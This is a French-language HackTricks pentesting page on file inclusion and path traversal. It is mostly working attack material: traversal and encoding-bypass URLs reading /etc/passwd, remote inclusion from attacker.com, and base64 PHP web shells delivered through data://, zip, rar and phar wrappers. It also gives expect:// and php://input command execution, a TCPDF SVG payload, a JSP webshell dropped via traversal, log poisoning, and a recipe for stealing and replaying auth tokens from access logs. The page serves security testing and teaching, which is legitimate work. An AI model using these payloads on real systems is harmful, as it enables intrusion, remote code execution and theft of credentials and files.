File Inclusion/Path traversal

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

File Inclusion

Remote File Inclusion (RFI): Le fichier est chargĂ© depuis un serveur distant (IdĂ©al : vous pouvez Ă©crire le code et le serveur l’exĂ©cutera). En php ceci est dĂ©sactivĂ© par dĂ©faut (allow_url_include).
Local File Inclusion (LFI): Le serveur charge un fichier local.

La vulnĂ©rabilitĂ© se produit lorsque l’utilisateur peut d’une maniĂšre ou d’une autre contrĂŽler le fichier que le serveur va charger.

Fonctions PHP vulnérables : require, require_once, include, include_once

Un outil intéressant pour exploiter cette vulnérabilité : https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

*En mĂ©langeant plusieurs listes nix LFI et en ajoutant d’autres chemins, j’ai créé celle-ci :

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Essayez aussi de remplacer / par \
Essayez aussi d’ajouter ../../../../../

Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vĂ©rifier si la vulnĂ©rabilitĂ© existe) peut ĂȘtre trouvĂ©e ici

Windows

Fusion de différentes wordlists:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Essayez aussi de remplacer / par \
Essayez aussi de retirer C:/ et d’ajouter ../../../../../

Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vĂ©rifier si la vulnĂ©rabilitĂ© existe) peut ĂȘtre trouvĂ©e ici

OS X

Consultez la liste LFI de Linux.

LFI de base et contournements

Tous les exemples sont pour Local File Inclusion mais pourraient aussi ĂȘtre appliquĂ©s Ă  Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences stripped non-recursively

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass l’ajout de caractùres en fin de la chaüne fournie (bypass of: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Ceci est résolu depuis PHP 5.4

Encodage

Vous pouvez utiliser des encodages non standard comme double URL encode (et d’autres) :

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Les moteurs modernes HTML-to-PDF (p. ex. TCPDF ou des wrappers tels que html2pdf) analysent sans problĂšme du HTML, SVG, CSS et des URL de polices fournis par un attaquant, et s’exĂ©cutent cependant Ă  l’intĂ©rieur de rĂ©seaux backend de confiance avec accĂšs au systĂšme de fichiers. Une fois que vous pouvez injecter du HTML dans $pdf->writeHTML()/Html2Pdf::writeHTML(), vous pouvez souvent exfiltrer des fichiers locaux que le compte du serveur web peut lire.

  • Fingerprint the renderer: chaque PDF gĂ©nĂ©rĂ© contient un champ Producer (p. ex. TCPDF 6.8.2). ConnaĂźtre la build exacte vous indique quels filtres de chemin existent et si le dĂ©codage URL s’effectue avant la validation.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() lit l’attribut xlink:href des Ă©lĂ©ments <image> avant d’exĂ©cuter urldecode(). Incorporer un SVG malveillant dans une data URI fait que de nombreux HTML sanitizers ignorent le payload tandis que TCPDF le parse toujours :
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF prĂ©fixe $_SERVER['DOCUMENT_ROOT'] aux chemins commençant par / et ne rĂ©sout .. qu’ensuite, donc utilisez soit des segments initiaux ../../.., soit /../../.. pour sortir de la racine aprĂšs le prĂ©fixe.

  • Encodage pour contourner des filtres naĂŻfs : Les versions ≀6.8.2 ne vĂ©rifient que la sous-chaĂźne littĂ©rale ../ avant le dĂ©codage de l’URL. Envoyer ..%2f (ou ..%2F) dans le SVG ou dans un attribut <img src> brut contourne la vĂ©rification, car la sĂ©quence de traversĂ©e ../ n’est recréée qu’aprĂšs que TCPDF appelle urldecode().
  • Double-encodage pour dĂ©codage en plusieurs Ă©tapes : Si l’entrĂ©e utilisateur est dĂ©codĂ©e par le framework web et par TCPDF, double-encodez la barre oblique (%252f). Un dĂ©codage la transforme en %2f, le second dĂ©codage dans TCPDF la transforme en /, produisant /..%252f..%252f.. → /../../../
 sans jamais afficher ../ au filtre prĂ©coce.
  • Gestionnaire HTML <img> : TCPDF::openHTMLTagHandler() contient le mĂȘme bug d’ordre d’opĂ©rations, permettant des payloads HTML directs tels que src="%2f..%252f..%252ftmp%252fsecret.png" pour lire n’importe quel bitmap localement accessible.

Cette technique leaks tout ce qui est lisible par le PDF worker (scans de passeport, clĂ©s API rendues en images, etc.). Les hardeners l’ont corrigĂ©e dans la version 6.9.1 en canonisant les chemins (isRelativePath()), donc lors des tests privilĂ©giez les versions Producer plus anciennes.

Depuis un dossier existant

Il se peut que le back-end vérifie le chemin du dossier :

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Explorer les répertoires du systÚme de fichiers sur un serveur

Le systĂšme de fichiers d’un serveur peut ĂȘtre explorĂ© de maniĂšre rĂ©cursive pour identifier des rĂ©pertoires, pas seulement des fichiers, en utilisant certaines techniques. Ce processus consiste Ă  dĂ©terminer la profondeur des rĂ©pertoires et Ă  sonder l’existence de dossiers spĂ©cifiques. Voici une mĂ©thode dĂ©taillĂ©e pour y parvenir :

  1. DĂ©terminer la profondeur des rĂ©pertoires : DĂ©terminez la profondeur de votre rĂ©pertoire courant en rĂ©cupĂ©rant avec succĂšs le fichier /etc/passwd (applicable si le serveur est basĂ© sur Linux). Un exemple d’URL peut ĂȘtre structurĂ© comme suit, indiquant une profondeur de trois :
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Probe for Folders: Ajoutez le nom du dossier suspect (par ex., private) Ă  l’URL, puis revenez Ă  /etc/passwd. Le niveau de rĂ©pertoire supplĂ©mentaire nĂ©cessite d’augmenter la profondeur d’un niveau :
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interprétez les résultats : La réponse du serveur indique si le dossier existe :
  • Erreur / Pas de sortie : Le dossier private n’existe probablement pas Ă  l’emplacement spĂ©cifiĂ©.
  • Contenu de /etc/passwd : La prĂ©sence du dossier private est confirmĂ©e.
  1. Exploration rĂ©cursive : Les dossiers dĂ©couverts peuvent ĂȘtre sondĂ©s plus en profondeur pour des sous-rĂ©pertoires ou des fichiers en utilisant la mĂȘme technique ou les mĂ©thodes traditionnelles de Local File Inclusion (LFI).

Pour explorer des répertoires à différents emplacements du systÚme de fichiers, ajustez le payload en conséquence. Par exemple, pour vérifier si /var/www/ contient un répertoire private (en supposant que le répertoire courant est à une profondeur de 3), utilisez :

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation est une mĂ©thode utilisĂ©e pour manipuler les chemins de fichiers dans les applications web. Elle est souvent employĂ©e pour accĂ©der Ă  des fichiers restreints en contournant certaines mesures de sĂ©curitĂ© qui ajoutent des caractĂšres supplĂ©mentaires Ă  la fin des chemins. L’objectif est de construire un chemin de fichier qui, une fois altĂ©rĂ© par la mesure de sĂ©curitĂ©, pointe toujours vers le fichier souhaitĂ©.

En PHP, diffĂ©rentes reprĂ©sentations d’un chemin de fichier peuvent ĂȘtre considĂ©rĂ©es comme Ă©quivalentes en raison de la nature du systĂšme de fichiers. Par exemple:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ are all treated as the same path.
  • Lorsque les 6 derniers caractĂšres sont passwd, ajouter un / (ce qui donne passwd/) ne change pas le fichier ciblĂ©.
  • De mĂȘme, si .php est ajoutĂ© Ă  un chemin de fichier (comme shellcode.php), ajouter un /. Ă  la fin n’altĂ©rera pas le fichier accĂ©dĂ©.

Les exemples fournis montrent comment utiliser path truncation pour accéder à /etc/passwd, une cible fréquente en raison de son contenu sensible (informations relatives aux comptes utilisateurs) :

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Dans ces scĂ©narios, le nombre de traversals nĂ©cessaires peut ĂȘtre d’environ 2027, mais ce nombre peut varier en fonction de la configuration du serveur.

  • Using Dot Segments and Additional Characters : Les sequences de traversal (../) combinĂ©es avec des segments de points supplĂ©mentaires et des caractĂšres peuvent ĂȘtre utilisĂ©es pour naviguer dans le systĂšme de fichiers, en ignorant efficacement les chaĂźnes ajoutĂ©es par le serveur.
  • Determining the Required Number of Traversals : Par essais et erreurs, on peut trouver le nombre prĂ©cis de sĂ©quences ../ nĂ©cessaires pour atteindre la racine puis /etc/passwd, en s’assurant que toute chaĂźne ajoutĂ©e (comme .php) est neutralisĂ©e mais que le chemin dĂ©sirĂ© (/etc/passwd) reste intact.
  • Starting with a Fake Directory : Il est courant de commencer le chemin par un rĂ©pertoire non existant (comme a/). Cette technique est utilisĂ©e comme mesure de prĂ©caution ou pour satisfaire les exigences de la logique d’analyse des chemins du serveur.

When employing path truncation techniques, it’s crucial to understand the server’s path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.

Cette vulnérabilité a été corrigée dans PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

Dans php ceci est dĂ©sactivĂ© par dĂ©faut car allow_url_include est Off. Il doit ĂȘtre On pour que cela fonctionne, et dans ce cas vous pourriez inclure un fichier PHP depuis votre serveur et obtenir RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Si, pour une raison quelconque, allow_url_include est activĂ©, mais que PHP filtre l’accĂšs aux pages web externes, selon ce post, vous pouvez par exemple utiliser le protocole data avec base64 pour dĂ©coder un code PHP b64 et obtenir RCE :

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

Dans le code prĂ©cĂ©dent, le +.txt final a Ă©tĂ© ajoutĂ© parce que l’attaquant avait besoin d’une chaĂźne se terminant par .txt, donc la chaĂźne se termine par cela et aprĂšs le b64 decode cette partie ne renverra que des donnĂ©es inutiles et le vrai code PHP sera inclus (et donc exĂ©cutĂ©).

Un autre exemple n’utilisant pas le protocole php:// serait :

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python ÉlĂ©ment racine

En Python, dans un code comme celui-ci :

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Si l’utilisateur passe un absolute path Ă  file_name, le chemin prĂ©cĂ©dent est simplement supprimĂ© :

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

C’est le comportement prĂ©vu selon the docs:

If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.

Java : lister les répertoires

Il semble que si vous avez un Path Traversal en Java et que vous demandez un rĂ©pertoire au lieu d’un fichier, un listing du rĂ©pertoire est renvoyĂ©. Cela ne se produit pas dans d’autres langages (afaik).

Top 25 paramĂštres

Voici la liste des 25 principaux paramĂštres qui pourraient ĂȘtre vulnĂ©rables Ă  local file inclusion (LFI) (source : link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI utilisant les wrappers & protocoles PHP

php://filter

Les filtres PHP permettent d’effectuer des opĂ©rations de modification sur les donnĂ©es avant qu’elles ne soient lues ou Ă©crites. Il existe 5 catĂ©gories de filtres :

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Supprime les balises des donnĂ©es (tout ce qui se trouve entre les caractĂšres “<” et “>”)
  • Notez que ce filtre a disparu des versions modernes de PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transforme vers un encodage diffĂ©rent (convert.iconv.<input_enc>.<output_enc>). Pour obtenir la liste de tous les encodages supportĂ©s, exĂ©cutez dans la console : iconv -l

Warning

En abusant du filtre de conversion convert.iconv.* vous pouvez gĂ©nĂ©rer du texte arbitraire, ce qui peut ĂȘtre utile pour Ă©crire du texte arbitraire ou faire en sorte qu’une fonction comme include traite du texte arbitraire. Pour plus d’infos check LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Compresse le contenu (utile si vous exfiltrez beaucoup d’informations)
  • zlib.inflate: DĂ©compresse les donnĂ©es
  • Encryption Filters
  • mcrypt.* : ObsolĂšte
  • mdecrypt.* : ObsolĂšte
  • Other Filters
  • En exĂ©cutant dans php var_dump(stream_get_filters()); vous pouvez trouver quelques filtres inattendus :
  • consumed
  • dechunk: inverse l’encodage HTTP chunked
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,ÂŁhellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

La partie “php://filter” est insensible à la casse

Using php filters as oracle to read arbitrary files

In this post est proposĂ©e une technique pour lire un fichier local sans que la sortie soit renvoyĂ©e par le serveur. Cette technique est basĂ©e sur une boolean exfiltration of the file (char by char) using php filters comme oracle. Ceci parce que php filters peuvent ĂȘtre utilisĂ©s pour rendre un texte suffisamment long pour provoquer une exception php.

Dans l’article original vous trouverez une explication dĂ©taillĂ©e de la technique, mais voici un rĂ©sumĂ© rapide :

  • Utilisez le codec UCS-4LE pour laisser le caractĂšre initial du texte au dĂ©but et faire augmenter la taille de la chaĂźne de façon exponentielle.
  • Ceci sera utilisĂ© pour gĂ©nĂ©rer un texte tellement grand lorsque la lettre initiale est devinĂ©e correctement que php dĂ©clenchera une erreur
  • Le filtre dechunk supprimera tout si le premier char n’est pas un hexadecimal, ainsi nous pouvons savoir si le premier char est hex.
  • Cela, combinĂ© avec le prĂ©cĂ©dent (et d’autres filters selon la lettre devinĂ©e), permettra de deviner une lettre au beginning du texte en observant quand nous appliquons suffisamment de transformations pour la faire sortir de la plage hexadĂ©cimale. Parce que si hex, dechunk ne la supprimera pas et la bombe initiale provoquera une erreur php.
  • Le codec convert.iconv.UNICODE.CP930 transforme chaque lettre en la suivante (donc aprĂšs ce codec : a -> b). Cela nous permet de dĂ©couvrir si la premiĂšre lettre est un a par exemple, car si nous appliquons 6 fois ce codec a->b->c->d->e->f->g la lettre n’est plus un caractĂšre hexadecimal, donc dechunk ne la supprime pas et l’erreur php est dĂ©clenchĂ©e car elle se multiplie avec la bombe initiale.
  • En utilisant d’autres transformations comme rot13 au dĂ©but, il est possible de leak d’autres chars comme n, o, p, q, r (et d’autres codecs peuvent ĂȘtre utilisĂ©s pour dĂ©placer d’autres lettres dans la plage hex).
  • Quand le premier char est un nombre il est nĂ©cessaire de l’encoder en base64 et de leak les 2 premiĂšres lettres pour leak le nombre.
  • Le problĂšme final est de voir comment leak plus que la lettre initiale. En utilisant des filtres d’ordre mĂ©moire comme convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE il est possible de changer l’ordre des chars et d’amener en premiĂšre position d’autres lettres du texte.
  • Et afin de pouvoir obtenir further data l’idĂ©e est de gĂ©nĂ©rer 2 bytes de junk data at the beginning avec convert.iconv.UTF16.UTF16, appliquer UCS-4LE pour le faire pivot with the next 2 bytes, et delete the data until the junk data (cela supprimera les 2 premiers bytes du texte initial). Continuez ainsi jusqu’à atteindre le bit dĂ©sirĂ© Ă  leak.

Dans l’article un outil pour effectuer cela automatiquement a Ă©galement Ă©tĂ© leaked : php_filters_chain_oracle_exploit.

php://fd

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Vous pouvez Ă©galement utiliser php://stdin, php://stdout and php://stderr pour accĂ©der aux descripteurs de fichier 0, 1 et 2 respectivement (je ne vois pas trop comment cela pourrait ĂȘtre utile dans une attaque)

zip:// and rar://

Téléversez un fichier Zip ou Rar contenant un PHPShell et accédez-y.
Pour pouvoir abuser du rar protocol, il doit ĂȘtre activĂ© spĂ©cifiquement.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Notez que ce protocole est restreint par les configurations php allow_url_open et allow_url_include

expect://

Expect doit ĂȘtre activĂ©. Vous pouvez exĂ©cuter du code en utilisant ceci :

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Spécifiez votre payload dans les paramÚtres POST :

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Un fichier .phar peut ĂȘtre utilisĂ© pour exĂ©cuter du code PHP lorsqu’une application web utilise des fonctions telles que include pour le chargement de fichiers. L’extrait de code PHP ci-dessous montre la crĂ©ation d’un fichier .phar :

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Pour compiler le fichier .phar, la commande suivante doit ĂȘtre exĂ©cutĂ©e :

php --define phar.readonly=0 create_path.php

À l’exĂ©cution, un fichier nommĂ© test.phar sera créé, qui pourrait potentiellement ĂȘtre utilisĂ© pour exploiter des vulnĂ©rabilitĂ©s de Local File Inclusion (LFI).

Dans les cas oĂč le LFI ne fait que lire des fichiers sans exĂ©cuter le code PHP Ă  l’intĂ©rieur, via des fonctions telles que file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() ou filesize(), on peut tenter d’exploiter une vulnĂ©rabilitĂ© de dĂ©sĂ©rialisation. Cette vulnĂ©rabilitĂ© est associĂ©e Ă  la lecture de fichiers en utilisant le protocole phar.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Il Ă©tait possible d’abuser de any arbitrary file read from PHP that supports php filters pour obtenir une RCE. The detailed description can be found in this post.
TrĂšs bref rĂ©sumĂ© : un 3 byte overflow dans le heap PHP a Ă©tĂ© exploitĂ© pour alter the chain of free chunks d’une taille spĂ©cifique afin de pouvoir write anything in any address, si bien qu’un hook a Ă©tĂ© ajoutĂ© pour appeler system.
Il a Ă©tĂ© possible d’allouer des chunks de tailles spĂ©cifiques en abusant de davantage de php filters.

Autres protocoles

Consultez davantage de protocols to include here:

  • php://memory and php://temp — Écrire en mĂ©moire ou dans un fichier temporaire (not sure how this can be useful in a file inclusion attack)
  • file:// — AccĂšs au systĂšme de fichiers local
  • http:// — AccĂšs aux URLs HTTP(s)
  • ftp:// — AccĂšs aux URLs FTP(s)
  • zlib:// — Flux de compression
  • glob:// — Trouver des chemins correspondant Ă  un motif (Cela ne renvoie rien d’imprimable, donc pas vraiment utile ici)
  • ssh2:// — Secure Shell 2
  • ogg:// — Flux audio (Not useful to read arbitrary files)

LFI via la fonction ‘assert’ de PHP

Les risques de Local File Inclusion (LFI) en PHP sont particuliĂšrement Ă©levĂ©s lors de l’utilisation de la fonction ‘assert’, qui peut exĂ©cuter du code contenu dans des chaĂźnes. Cela est particuliĂšrement problĂ©matique si une entrĂ©e contenant des caractĂšres de directory traversal comme “..” est vĂ©rifiĂ©e mais pas correctement assainie.

Par exemple, du code PHP pourrait ĂȘtre conçu pour empĂȘcher directory traversal comme suit :

assert("strpos('$file', '..') === false") or die("");

Bien que cela vise Ă  empĂȘcher la traversal, cela crĂ©e involontairement un vecteur pour code injection. Pour exploiter cela afin de lire le contenu de fichiers, un attaquant pourrait utiliser :

' and die(highlight_file('/etc/passwd')) or '

De mĂȘme, pour exĂ©cuter des commandes systĂšme arbitraires, on peut utiliser :

' and die(system("id")) or '

Il est important d’URL-encoder ces payloads.

PHP Blind Path Traversal

Warning

Cette technique est pertinente dans les cas oĂč vous contrĂŽlez le file path d’une PHP function qui access a file mais dont vous ne verrez pas le contenu (comme un simple appel Ă  file()) et oĂč le contenu n’est pas affichĂ©.

Dans this incredible post il est expliquĂ© comment un blind path traversal peut ĂȘtre abusĂ© via PHP filter pour exfiltrate the content of a file via an error oracle.

En rĂ©sumĂ©, la technique utilise l’encodage “UCS-4LE” pour rendre le contenu d’un fichier tellement volumineux que la PHP function opening le fichier dĂ©clenchera une erreur.

Ensuite, pour leak le premier char le filter dechunk est utilisĂ© avec d’autres tels que base64 ou rot13 et enfin les filtres convert.iconv.UCS-4.UCS-4LE et convert.iconv.UTF16.UTF-16BE sont utilisĂ©s pour placer d’autres chars au beginning et les leak.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

For the technical details check the mentioned post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, .. segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.

Typical exploitation workflow:

  • Identifier un write primitive dans un endpoint ou background worker qui accepte un path/filename et Ă©crit du contenu sur le disque (par ex., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
  • DĂ©terminer les rĂ©pertoires exposĂ©s au web. Exemples courants :
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Construire un traversal path qui s’échappe du rĂ©pertoire de stockage prĂ©vu vers le webroot, et inclure le contenu de votre webshell.
  • AccĂ©der via navigateur au payload placĂ© et exĂ©cuter des commandes.

Notes:

  • Le service vulnĂ©rable qui effectue l’écriture peut Ă©couter sur un port non-HTTP (par ex., un JMF XML listener sur TCP 4004). Le portail web principal (port diffĂ©rent) servira ensuite votre payload.
  • Sur les stacks Java, ces Ă©critures de fichiers sont souvent implĂ©mentĂ©es avec une simple concatĂ©nation File/Paths. L’absence de canonicalisation/allow-listing est la faille principale.

Exemple gĂ©nĂ©rique de style XML/JMF (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Mesures de durcissement qui neutralisent cette classe de failles :

  • RĂ©soudre vers un chemin canonique et vĂ©rifier qu’il est un descendant d’un rĂ©pertoire de base sur liste blanche.
  • Refuser tout chemin contenant .., des racines absolues, ou des lettres de lecteur ; prĂ©fĂ©rer des noms de fichiers gĂ©nĂ©rĂ©s.
  • ExĂ©cuter le processus d’écriture avec un compte peu privilĂ©giĂ© et sĂ©parer les rĂ©pertoires d’écriture des racines servies.

Remote File Inclusion

Expliqué précédemment, follow this link.

Via Apache/Nginx log file

Si le serveur Apache ou Nginx est vulnĂ©rable Ă  LFI dans la fonction include, vous pouvez essayer d’accĂ©der Ă  /var/log/apache2/access.log or /var/log/nginx/access.log, d’écrire dans le user agent ou dans un GET parameter une php shell comme <?php system($_GET['c']); ?> et d’inclure ce fichier

Warning

Notez que si vous utilisez des double quotes pour le shell au lieu de simple quotes, les double quotes seront modifiĂ©es en la chaĂźne “quote;”, PHP dĂ©clenchera une erreur Ă  cet endroit et rien d’autre ne sera exĂ©cutĂ©.

Assurez-vous Ă©galement d’écrire correctement le payload sinon PHP renverra une erreur Ă  chaque tentative de chargement du fichier de logs et vous n’aurez pas de seconde opportunitĂ©.

Cela peut aussi ĂȘtre fait dans d’autres logs mais faites attention, le code Ă  l’intĂ©rieur des logs peut ĂȘtre encodĂ© en URL et cela peut casser le Shell. Le header authorisation “basic” contient “user:password” en Base64 et il est dĂ©codĂ© dans les logs. Le PHPShell peut ĂȘtre insĂ©rĂ© dans cet header.
Autres chemins de logs possibles:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Lire les access logs pour récupérer des auth tokens basés sur GET (token replay)

Beaucoup d’apps acceptent par erreur des session/auth tokens via GET (e.g., AuthenticationToken, token, sid). Si vous disposez d’un path traversal/LFI dans les logs du web server, vous pouvez voler ces tokens depuis les access logs et les replay pour bypasser complùtement l’authentication.

How-to:

  • Use the traversal/LFI to read the web server access log. Common locations:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Some endpoints return file reads Base64-encoded. If so, decode locally and inspect the log lines.
  • Grep for GET requests that include a token parameter and capture its value, then replay it against the application entry point.

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

DĂ©coder le body s’il est en Base64, puis rejouer un token capturĂ© :

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Remarques :

  • Tokens dans les URLs sont enregistrĂ©s par dĂ©faut ; n’acceptez jamais de bearer tokens via GET sur des systĂšmes de production.
  • Si l’app supporte plusieurs noms de token, recherchez des clĂ©s communes comme AuthenticationToken, token, sid, access_token.
  • Renouvelez tous les tokens qui ont pu leaked dans les logs.

Par e-mail

